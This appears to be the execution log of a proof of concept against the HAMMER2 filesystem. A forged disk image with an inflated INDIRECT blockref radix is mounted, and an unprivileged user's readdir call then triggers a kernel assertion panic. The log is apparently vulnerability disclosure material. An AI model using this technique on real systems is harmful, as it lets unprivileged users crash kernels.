=== Phase 1: Forge the image (inflated INDIRECT radix=17) ===
  INDIRECT bref at 0x1800200 (parent inode @0x1800000) data_off=0x1c0100c radix=12 offset=0x1c01000
patching INDIRECT bref at 0x1800200: radix 12 -> 17 (data_off 0x1c0100c -> 0x1c01011, bytes 4096 -> 131072)
... (full CRC chain fix succeeds, image forged)
forge: done, new_radix=17
=== Phase 2: Mount the forged image read-write ===
vn0: MBR magic not found; assume a COMPATIBILITY_SLICE (s0)
hammer2_mount: devstr="/dev/vn0@DATA"
mount succeeded
=== Phase 3: chmod the directory for unprivileged access ===
=== Phase 4: Run PoC as unprivileged user maxx (triggers INDIRECT load via readdir) ===
su -m maxx -c "/tmp/poc /mnt/h2test/testdir"
[*] getdents(/mnt/h2test/testdir) -> triggers INDIRECT chain load

--- KERNEL PANIC (serial console capture) ---
Illegal: 0000000001c00000 0000000001c01000+00020000 / ffffffffffff0000
panic: assertion "pbase != 0 && ((lbase + lsize - 1) & pmask) == pbase" failed in hammer2_io_alloc at /usr/src/sys/vfs/hammer2/hammer2_io.c:126
cpuid = 3
Trace beginning at frame 0xfffff80119193780
_hammer2_io_getblk() at _hammer2_io_getblk+0xc6 0xffffffff80964d46 
_hammer2_io_bread() at _hammer2_io_bread+0x17 0xffffffff80965397 
hammer2_chain_load_data() at hammer2_chain_load_data+0x2a5 0xffffffff8096f4a5 
hammer2_chain_lock() at hammer2_chain_lock+0xde 0xffffffff8096fa4e 
hammer2_chain_get() at hammer2_chain_get+0x45 0xffffffff80970685 
Debugger("panic")
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>